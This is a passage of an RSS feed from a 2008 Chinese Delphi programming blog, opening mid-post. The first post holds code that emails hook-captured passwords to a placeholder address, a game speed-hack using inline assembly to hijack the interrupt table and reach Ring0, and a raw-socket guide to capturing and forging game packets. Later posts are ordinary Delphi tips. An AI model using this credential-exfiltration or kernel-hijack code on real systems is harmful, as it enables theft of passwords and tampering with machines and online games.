//打开hook.txt这个文本文件<br />reset(ReadFile); //设为读取方式<br />try <br />While not Eof(ReadFile) do //当没有读到文件尾<br />begin <br />Readln(ReadFile,s,j); //读取文件行<br />body:=body+s; <br />end; <br />finally <br />closefile(ReadFile); //关闭文件<br />end; <br />nmsmtp1.EncodeType:=uuMime; //设置编码<br />nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件<br />nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址<br />nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址<br />nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容<br />nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题<br />nmsmtp1.SendMail; //发送邮件 <br />==================================================================================<br />我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《&ldquo;变速齿轮&rdquo;研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《&ldquo;变速齿轮&rdquo;研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！<br />原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。<br />以前DOS时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDT表-&gt;创建一个中断门-&gt;进入Ring0-&gt;调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~<br />在实现之前我们来理一下思路吧：<br />1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作<br />2、调用这个过程来实现加速功能<br />好了，现在思路有了，我们就边看代码边讲解吧：<br />首先我们建立一个过程，这个过程就是本程序的核心部份：<br />procedure SetRing(value:word); stdcall; <br />const ZDH = $03; ／／ 设一个中断号<br />var<br />IDT : array [0..5] of byte; ／／ 保存IDT表<br />OG : dword; ／／存放旧向量<br />begin<br />asm<br />push ebx<br />sidt IDT ／／读入中断描述符表<br />mov ebx, dword ptr [IDT+2] ／／IDT表基地址<br />add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置<br />cli ／／关中断<br />mov dx, word ptr [ebx+6] <br />shl edx, 16d <br />mov dx, word ptr [ebx] <br />mov [OG], edx <br />mov eax, offset @@Ring0 ／／指向Ring0级代码段<br />mov word ptr [ebx], ax ／／低16位,保存在1,2位<br />shr eax, 16d<br />mov word ptr [ebx+6], ax ／／高16位，保存在6,7位<br />int ZDH ／／中断<br />mov ebx, dword ptr [IDT+2] ／／重新定位<br />add ebx, 8*ZDH<br />mov edx, [OG]<br />mov word ptr [ebx], dx<br />shr edx, 16d<br />mov word ptr [ebx+6], dx ／／恢复被改了的向量<br />pop ebx<br />jmp @@exitasm ／／到exitasm处<br />@@Ring0: ／／Ring0,这个也是最最最核心的东东<br />mov al,$34 ／／写入8253控制寄存器<br />out $43,al<br />mov ax,value　／／写入定时值<br />out $40,al ／／写定时值低位<br />mov al,ah<br />out $40,al ／／写定时值高位<br />iretd ／／返回<br />@@exitasm:<br />end;<br />end;<br />最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于&ldquo;变速齿轮&rdquo;的一个东东吧！<br />先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：<br /><br />SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));<br /><br />因为windows默认的值为$1742，所以我们把1742做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是&ldquo;变速齿轮&rdquo;的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。<br />在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。<br />1、我们首先要下一个PortTalk驱动，他的官方网站是http://www.beyondlogic.org<br />2、我们要把里面的prottalk.sys拷贝出来。<br />3、建立一个Protalk.sys的接口（我想省略了，大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧）<br />4、实现加速外挂。<br />本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，如果说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。<br />1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。<br />2、我们在我们新建的工程加入我们的接口文件<br />uses<br />windows,ProtTalk&hellip;&hellip;<br />3、我们建立一个过程<br />procedure SetRing(value:word); <br />begin<br />if not OpenPortTalk then exit;<br />outportb($43,$34);<br />outportb($40,lo(Value));<br />outprotb($40,hi(value));<br />ClosePortTalk;<br />end;<br /><br />4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：<br /><br />SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160))); <br />============================================================================<br />网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一，在这一篇里就让我们一起研究一下这一个问题吧。<br />别看这是封包这一问题，但是涉及的技术范围很广范，实现的方式也很多（比如说APIHOOK,VXD,Winsock2都可以实现），在这里我们不可能每种技术和方法都涉及，所以我在这里以Winsock2技术作详细讲解，就算作抛砖引玉。<br />由于大多数读者对封包类编程不是很了解，我在这里就简单介绍一下相关知识：<br />APIHooK：<br />由于Windows的把内核提供的功能都封装到API里面，所以大家要实现功能就必须通过API，换句话说就是我们要想捕获数据封包，就必须先要得知道并且捕获这个API，从API里面得到封包信息。<br />VXD：<br />直接通过控制VXD驱动程序来实现封包信息的捕获，不过VXD只能用于win9X。<br />winsock2：<br />winsock是Windows网络编程接口，winsock工作在应用层，它提供与底层传输协议无关的高层数据传输编程接口，winsock2是winsock2.0提供的服务提供者接口，但只能在win2000下用。<br />好了，我们开始进入winsock2封包式编程吧。<br />在封包编程里面我准备分两个步骤对大家进行讲解：1、封包的捕获，2、封包的发送。<br />首先我们要实现的是封包的捕获：<br />Delphi的封装的winsock是1.0版的，很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口，才可以使用winsock2。<br />1、如何做winsock2的接口？<br />1）我们要先定义winsock2.0所用得到的类型，在这里我们以WSA_DATA类型做示范，大家可以举一仿三的来实现winsock2其他类型的封装。<br />我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;，大家会发现WSData是引用参数，在传入参数时传的是变量的地址，所以我们对WSA_DATA做以下封装：<br />const <br />WSADESCRIPTION_LEN = 256; <br />WSASYS_STATUS_LEN = 128; <br />type <br />PWSA_DATA = ^TWSA_DATA; <br />WSA_DATA = record <br />wVersion: Word; <br />wHighVersion: Word; <br />szDescription: array[0..WSADESCRIPTION_LEN] of Char; <br />szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; <br />iMaxSockets: Word; <br />iMaxUdpDg: Word; <br />lpVendorInfo: PChar; <br />end; <br />TWSA_DATA = WSA_DATA; <br />2）我们要从WS2_32.DLL引入winsock2的函数，在此我们也是以WSAStartup为例做函数引入：<br />function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;<br /><br />implementation <br /><br />const WinSocket2 = 'WS2_32.DLL'; <br />function WSAStartup; external winsocket name 'WSAStartup'; <br /><br />通过以上方法，我们便可以对winsock2做接口，下面我们就可以用winsock2做封包捕获了，不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，所以我们在这里以IP数据包为例做封包捕获，如果下面的某些数据类型您不是很清楚，请您查阅MSDN：<br />1）我们要起动WSA，这时个要用到的WSAStartup函数，用法如下：<br />INTEGER WSAStartup(<br />wVersionRequired: word，<br />WSData: TWSA_DATA<br />)；<br />2）使用socket函数得到socket句柄，m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下：<br />INTEGER socket(af: Integer, <br />Struct: Integer, <br />protocol: Integer<br />); <br /><br />m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄，AF_INET，SOCK_RAW，IPPROTO_IP均为常量。<br /><br />3)定义SOCK_ADDR类型，跟据我们的网卡IP给Sock_ADDR类型附值，然后我们使用bind函数来绑定我们的网卡，Bind函数用法如下：<br /><br />Type <br />IN_ADDR = record <br />S_addr : PChar;<br />End;<br /><br />Type <br />TSOCK_ADDR = record <br />sin_family: Word;<br />sin_port: Word;<br />sin_addr : IN_ADDR<br />sin_zero: array[0..7] of Char; <br />End;<br /><br />var<br />LocalAddr:TSOCK_ADDR;<br /><br />LocalAddr.sin_family: = AF_INET;<br />LocalAddr.sin_port: = 0;<br />LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); ／／这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。<br /><br />bind(m_hSocket, LocalAddr, sizeof(LocalAddr))；<br /><br />4)用WSAIoctl来注册WSA的输入输出组件，其用法如下：<br /><br />INTEGER WSAIoctl(s:INTEGER, <br />dwIoControlCode : INTEGER, <br />lpvInBuffer :INTEGER,<br />cbInBuffer : INTEGER, <br />lpvOutBuffer : INTEGER,<br />cbOutBuffer: INTEGER, <br />lpcbBytesReturned : INTEGER, <br />lpOverlapped : INTEGER, <br />lpCompletionRoutine : INTEGER<br />);<br />5)下面做死循环，在死循环块里，来实现数据的接收。但是徇环中间要用Sleep()做延时，不然程序会出错。<br />6)在循环块里，用recv函数来接收数据，recv函数用法如下：<br />INTEGER recv (s : INTEGER, <br />buffer:Array[0..4095] of byte, <br />length : INTEGER,<br />flags : INTEGER,<br />)；<br />7)在buffer里就是我们接收回来的数据了，如果我们想要知道数据是什么地方发来的，那么，我们要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的是十六进制的数据需要转换一下。<br /><br />看了封包捕获的全过程序，对你是不是有点起发，然而在这里要告诉大家的是封包的获得是很容易的，但是许多游戏的封包都是加密的，如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。 <br />======================================================================<br />在本章中，我们主要来研究一下封包的制作和发送，同样，我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1，winsock2需要自已封装一下，我在此就不多介绍如何封装了。<br />下面就一步步实现我们的封包封装与发送吧：<br />首先，我们应该知道，封包是分两段的，一段是IP，一段是协议（TCP，UDP，其他协议），IP就像邮政编码一样，标识着你的这个封包是从哪里到哪里，而协议里记录着目标所要用到的包的格式及校验等，在网络游戏中的协议一般都是自已定义的，要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解，为了不影响现运行的网络游戏的安全，我在此会以UDP协议为例，介绍一下网络协议的封包与发送的全过程。<br />接下来，我们就可以开始看看整个封包全过程了：<br />1）我们要起动sock2，这时个要用到的WSAStartup函数，用法如下：<br />INTEGER WSAStartup(<br />wVersionRequired: word，<br />WSData: TWSA_DATA<br />)；<br />在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。<br />2）使用socket函数创建并得到socket句柄; 用法如下：<br />INTEGER socket(af: Integer, <br />Struct: Integer, <br />protocol: Integer<br />); <br />注意的是在我们的程序封包中饱含了IP包头，所以我们的Struct参数这里要传入的参数值为2，表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。<br />3）使用setsockopt函数设置sock的选项; 用法如下：<br />INTEGER setsockopt(s: Integer,<br />level: Integer, <br />optname: Integer,<br />optval: PChar,<br />optlen: Integer<br />); <br />在S处传入的是Socket句柄，在本程序里level输入的值为0表示IP（如果是6表示TCP，17表示UDP等~），OptName里写入2，而optval的初始值填入1，optlen为optval的大小。<br />4）接下来我们要分几个步骤来实现构建封包：<br />1、把IP转换成sock地址，用inet_addr来转换。<br />Longint inet_addr(<br />cp: PChar<br />);<br />2、定义包的总大小、IP的版本信息为IP结构：<br />总包大小=IP头的大小+UDP头的大小+UDP消息的大小，<br />IP的版本，在此程序里定义为4，<br />3、填写IP包头的结构：<br />ip.ipverlen := IP的版本 shl 4; <br />ip.iptos := 0; // IP服务类型<br />ip.iptotallength := ; // 总包大小 <br />ip.ipid := 0; // 唯一标识，一般设置为0<br />ip.ipoffset := 0; // 偏移字段 <br />ip.ipttl := 128; // 超时时间<br />ip.ipprotocol := $11; // 定义协议 <br />ip.ipchecksum := 0 ; // 检验总数<br />ip.ipsrcaddr := ; // 源地址<br />ip.ipdestaddr := ; // 目标地址<br />4、填写UDP包头的结构：<br />udp.srcportno := ; //源端口号<br />udp.dstportno := ; //目标端口号<br />udp.udplength := ; //UDP包的大小<br />udp.udpchecksum := ; //检验总数<br />5、把IP包头，UDP包头及消息，放入缓存。<br />6、定义远程信息：<br />remote.family := 2; <br />remote.port :=; //远程端口<br />remote.addr.addr :=; //远程地址<br /><br />5）我们用SendTo发送封包，用法如下： <br />INTEGER sendto(s: Integer,<br />var Buf: Integer,<br />var len: Integer,<br />var flags: Integer, <br />var addrto: TSock_Addr; <br />tolen: Integer<br />); <br />在S处传入的是Socket句柄,Buf是刚刚建好的封包，len传入封包的总长度刚刚计算过了，flag是传入标记在这里我们设为0，addto发送到的目标地址，在这里我们就传入remote就可以了，tolen写入的是remote的大小。<br /><br />6）到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。<br /></span></p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/183545#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 16 Apr 2008 23:07:04 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/183545</link>
        <guid>http://kenter1643.javaeye.com/blog/183545</guid>
      </item>
      <item>
        <title>Delphi技巧</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/181835" style="color:red;">http://kenter1643.javaeye.com/blog/181835</a>&nbsp;
          发表时间: 2008年04月11日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>设置全局快捷键　系统控制　快捷键　grhunter　<br />改变文件的属性　系统控制　属性 文件　grhunter　<br />获取主板Bios信息　系统控制　BIOS　grhunter　<br />检测CPU的型号　系统控制　CPU 微处理器 微 处理器 检测 型号　grhunter　<br />隐藏标题栏　系统控制　隐藏 窗口 标题栏 标题 可调大小 适宜大小　grhunter　<br />截获与管理Windows的信息　系统控制　Windows 信息 监听 列表　grhunter　<br />添加一个菜单项到Windows的系统菜单　系统控制　菜单 系统 windows 添加 项　grhunter　<br />Windows开机自动运行的应用程序　系统控制　应用程序 应用 程序 运行 执行 自动 Windows 开机　grhunter　<br />可获得管理员权限的登录方法　系统控制　OpenThreadToken GetTokenInformation 管理员　grhunter　<br />设定应用程序关联　系统控制　GetAssociation 文件 文档 应用程序 程序 执行 关联　grhunter　<br />获取注册表的键的数据类型　系统控制　注册表 键 数据 类型　grhunter　<br />显示Windows&ldquo;关于&rdquo;对话框　系统控制　windows about box　grhunter　<br />有软盘在软驱中吗　系统控制　软盘　grhunter　<br />如何在 Windows 中改变缺省打印机　API　缺省 打印机 Windows　codelphi.com　<br />如何设置大写锁定键　API　keybd_event MapVirtualkey GetAsyncKeyState　codelphi.com　<br />限制鼠标在窗体中的移动　API　clip 鼠标 移动　codelphi.com　<br />在工作组中寻找所有的计算机　API　局域网 工作组 计算机 名字 网络　codelphi.com　<br />统计局域网里的工作组数目　API　局域网 工作组 网络　codelphi.com　<br />执行/终止一个应用程序　API　执行程序 终止程序 外部程序　codelphi.com　<br />把显示器设置到节能模式　API　节能模式 显示器　codelphi.com　<br />操作系统判断　API　OS Windows 检测　codelphi.com　<br />在整个程序中，实现&lsquo;Enter作为Tab &rsquo;变换　API　enter tab 键 WM_KEYDOWN VK_RETURN VK_TAB　codelphi.com　<br />剪切、复制和粘贴　API　剪切 复制 粘贴 sendmessage　codelphi.com　<br />添加打印机　API　打印机 Windows API　codelphi.com　<br />通过windows信息传送一个字符串　API　GlobalAddAtom GlobalGetAtomName　codelphi.com　<br />托盘程序的缩放（托盘程序的最大化/最小化）　API　缩放 效果 最大化 最小化 托盘程序　codelphi.com　<br />删除或重命名正在打开的文件　API　重启 删除 复制 重命名 文件　codelphi.com　<br />交换鼠标的左右键　API　鼠标 交换 左键　codelphi.com　<br />读入系统文件夹中的路径　API　系统 文件夹 路径　codelphi.com　<br />刷新桌面　API　桌面 刷新　codelphi.com　<br />移动Windows开始按钮到任务栏中的任何位置　API　开始按钮 API　codelphi.com　<br />如何获得HDD序列号　API　硬盘 序列号 获取　codelphi.com　<br />通过代码调用Windows 屏幕保护程序　API　屏幕 保护 屏幕保护　codelphi.com　<br />如何阻止用户移动窗体或改变它的大小　API　WM_WINDOWPOSCHANGING　codelphi.com　<br />在Windows 的桌面上直接作图　API　GetDC HDC　codelphi.com　<br />判断一个combobox是否处于下拉状态　API　SendMessage CB_GETDROPPEDSTATE　codelphi.com　<br />捕捉最小化按钮并运行一部分代码　API　WM_SYSCOMMAND　codelphi.com　<br />获取桌面的尺寸　API　SystemParametersInfo　codelphi.com　<br />从 .exe 或 .dll中提取icon　API　ExtractIcon TIcon　codelphi.com　<br />创建闪烁图标　API　FlashWindow Application.Handle　codelphi.com　<br />显示模式可以支持多少种颜色　API　GetDeviceCaps　codelphi.com　<br />只运行程序的一个实例　用户界面　实例　CoDelphi.com　<br />除去TDBGrid的垂直滚动条。（重载Paint方法）　数据库　数据库　CoDelphi.com　<br />丢失了工具栏按钮的图标　用户界面　工具条 图标 ImageList　CoDelphi.com　<br />测定系统设置的是小字体还是大字体　用户界面　GetDeviceCaps HDC　CoDelphi.com　<br />获取memo上光标所在的行号　用户界面　Perform EM_LINEFROMCHAR　CoDelphi.com　<br />带图标的提示栏　用户界面　提示 GUI 图标 图形　CoDelphi.com　<br />为你的窗体增添动画效果　用户界面　动画 效果　CoDelphi.com　<br />滚动一个RichEdit　用户界面　滚动richedit　CoDelphi.com　<br />鼠标安装了吗　用户界面　鼠标存在　CoDelphi.com　<br />移去MDI子窗体的标题栏　用户界面　mdi 子窗体 标题栏　CoDelphi.com　<br />使MDI窗口有一个背景图象或使它平铺　用户界面　多文档界面 背景 图象 平铺　CoDelphi.com　<br />通过鼠标右击选择TListBox中的选项　用户界面　TListBox 弹出式菜单　CoDelphi.com　<br />使TStaticsText显示多行文本　用户界面　多行文本 TStaticsText　CoDelphi.com　<br />搜索最佳匹配的&ldquo;智能复选框&rdquo;　用户界面　复选框　CoDelphi.com　<br />获得TMemo上的可见行数　用户界面　可见行 TMemo memo　CoDelphi.com　<br />屏蔽屏幕保护的专业方法　用户界面　屏蔽 屏幕保护　CoDelphi.com　<br />在TMemo组件上画图　用户界面　WM_PAINT TMEMO　CoDelphi.com　<br />创建透明窗体　图形　如何创建透明窗体　CoDelphi.com　<br />把RGB颜色转变成Delphi的 TColor　图形　颜色 转换RGB　CoDelphi.com　<br />在canvas中画角　图形　canvas 作图 角　CoDelphi.com　<br />文本转换为GIF文件　图形　文本 gif 文件　CoDelphi.com　<br />使图片旋转　图形　Canvas 自由旋转 旋转　CoDelphi.com　<br />把TColor 换算为RGB的整数值　图形　TColor 转换 RGB　CoDelphi.com　<br />把颜色值转换为灰度值　图形　颜色 灰色 灰度　CoDelphi.com　<br />把图片转换为灰度图片　图形　颜色 灰度 转换　CoDelphi.com　<br />使字体旋转　图形　CreateFont SetBkMode　CoDelphi.com　<br />锁定MSSQL记录的方法。　数据库　记录　锁定 MSSQL SQL　CoDelphi.com　<br />在程序中访问hotmail　网络　Hotmail　CoDelphi.com　<br />监测Internet 连接类型　网络　连接类型　CoDelphi.com　<br />将主机名解析成IP地址　网络　IP Numbers 主机　CoDelphi.com　<br />从当前的浏览器取得当前URL　网络　URL BROWSER　CoDelphi.com　<br />将IP解释成主机名　网络　IP Numbers 主机　CoDelphi.com　<br />取得给定月份的第一天和最后一天的日期　其它　delphi　CoDelphi.com　<br />监视剪贴板内容　 API　监视 剪贴板　CoDelphi.com　<br />取得本机的IP地址　网络　IP　大鱼儿　<br />用TCP/IP做文件续传　网络　续传　CoDelphi.com　<br />delphi下读取网卡的MAC　网络　MAC 网卡　大鱼儿　<br />如何编写SMTP邮件服务器　网络　Delphi WinSock Smtp　bird　<br />实现webbrowser中的打印、复制、全选等编辑功能　网络　webbrowser　大鱼儿　<br />取得DLL所在的运行目录　API　目录 GetModuleFileName　大鱼儿　<br />如何统计系统物理内存总数　系统控制　内存 物理　grhunter　<br />如何测试CPU的速度　系统控制　cpu 速度 频率　grhunter　<br />在程序中删除IE历史记录　API　IE 历史记录 Cache　大鱼儿　<br />用ADOStoredProc取得存储过程的参数列表　数据库　ADOStoredProc　大鱼儿　<br />得到显示器的刷新频率　系统控制　显示 频率　grhunter　<br />把十六进制转换成十进制　Object Pascal　十六进制　grhunter　<br />循环赛（日程安排）　其它　动态数组　循环赛　grhunter　<br />使 MDIChildForm正常关闭　用户界面　MDIChildForm 子窗口　大鱼儿　<br />从MP3文件中获得ID3-Tag(不使用组件)　多媒体　MP3 ID3 ID3-Tag　grhunter　<br />显示CD的声轨，分数和秒数　多媒体　声轨　分　秒　多媒体　grhunter　<br />从快捷方式获得文件路径　文件操作　快捷方式 路径 文件　grhunter　<br />给控件添加OnMouseLeave事件　VCL　OnMouseLeave，鼠标　grhunter　<br />作文件的CRC校验　文件操作　文章 校验和 鉴别文件 crc　大鱼儿　<br />递归调用删除整个目录树　文件操作　删除目录树 删除　grhunter　<br />另一种拖动无标题栏窗体的方法　用户界面　拖动　grhunter　<br />在TMemo的当前位置插入一个文件的内容　VCL　MemoryStream TMemo　grhunter　<br />清空Windows的回收站　文件操作　垃圾箱，清空，回收站　大鱼儿　<br />把删除的文件放入Windows的回收站里　文件操作　Windows，回收站，删除文件　大鱼儿　<br />合并两个二进制文件　文件操作　合并，二进制，文件　大鱼儿　<br />怎样将IE收藏夹的内容转录到TTreeView控制中　网络　收藏夹、TTreeView、IE　phifei　</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/181835#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 11 Apr 2008 16:48:14 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/181835</link>
        <guid>http://kenter1643.javaeye.com/blog/181835</guid>
      </item>
      <item>
        <title>Delphi调用asp.net的WebService</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/181122" style="color:red;">http://kenter1643.javaeye.com/blog/181122</a>&nbsp;
          发表时间: 2008年04月10日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">procedure TForm1.Button1Click(Sender: TObject);
<br />var
<br />  ss: ServiceSoap;
<br />begin
<br />  try
<br />    HTTPRIO1.WSDLLocation :=
<br />      'http://localhost:4670/WebService/Service.asmx?wsdl';
<br />    HTTPRIO1.Service := 'Service';
<br />    HTTPRIO1.Port := 'ServiceSoap';
<br />    HTTPRIO1.HTTPWebNode.UseUTF8InHeader := True;
<br />
<br />    ss := (HTTPRIO1 as ServiceSoap);
<br />    ShowMessage(ss.HelloWorld('Hello, 大家好!'));
<br />  except
<br />    on e: exception do
<br />      showmessage(e.Message);
<br />  end;
<br />end;
<br />//解决中文传参的问题</pre>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/181122#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 10 Apr 2008 10:16:47 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/181122</link>
        <guid>http://kenter1643.javaeye.com/blog/181122</guid>
      </item>
      <item>
        <title>DELPHI VCL组件 TTreeList, Listview和Treeview相结合的多列树控件</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/180648" style="color:red;">http://kenter1643.javaeye.com/blog/180648</a>&nbsp;
          发表时间: 2008年04月08日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          在开发中，Windows的标准控件Listview和Treeview经常不能满足需求，而我们所需要的两者功能相结合，就是既可以显示多列数据、节点又可以展开和收缩的控件，Windows系统当中并没有自带。目前网上能够找到的类似控件，不是外观不够标准，就是太过臃肿。<br /><br />本控件TTreeList用Delphi 7.0开发，糅合了THeaderCtrl、TTreeView两个标准控件，控件中的节点可以展开收缩，每个节点文字分列显示(顶级节点不分列)，列头可以点击排序，等等。实现原理简单，代码精简，全部代码(one unit)包括注释只有2500行，没有引用任何额外的类库，相对于DEV Treelist等&ldquo;重量级&rdquo;控件优势不言而喻。<br /><br /><br />使用方法<br /><br />安装方法：把文件TreeList.dcu复制到Delphi安装目录下的LIB，然后点击菜单Component &gt; Install Component，Unit File Name那里点击Browser，打开TreeList.dcu，OK，Compile。然后控件TreeList就会在控件工具箱Samples那一页出现了。<br /><br /><br /><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/qinmaofan/TreeList.gif" alt="treelist" /><br /><br />&nbsp;TTreeList, CTreeCtrl, CHeaderCtrl, DEV TreeList
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/180648#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 08 Apr 2008 23:17:40 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/180648</link>
        <guid>http://kenter1643.javaeye.com/blog/180648</guid>
      </item>
      <item>
        <title>delphi的xml基本解析</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/180194" style="color:red;">http://kenter1643.javaeye.com/blog/180194</a>&nbsp;
          发表时间: 2008年04月07日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">procedure TForm1.btn1Click(Sender: TObject);

var
    a : TXMLDocument;
    b : string;
    Root,CNode:IXMLNode;
begin
    a:=TXMLDocument.Create(self);
    a.FileName:= 'http://localhost/Student.xml';
    a.Active:=true;
    Root := a.DocumentElement;
    CNode :=  Root.ChildNodes.First ;
    while CNode &lt;> nil do
    begin
    b:=CNode.ChildNodes['name'].Text;
    b:=b+'='+ CNode.ChildNodes['age'].Text;
    showmessage(b);
    CNode :=  CNode.NextSibling;
    end;
    a.Free;


end;</pre><br /><br /><br /><pre name="code" class="java">
&lt;ROOT>
&lt;Student> 
    &lt;name> zhang &lt;/name> 
    &lt;age> 21 &lt;/age> 
&lt;/Student>
&lt;Student> 
    &lt;name> zhang2 &lt;/name> 
    &lt;age> 213 &lt;/age> 
&lt;/Student>
&lt;Student> 
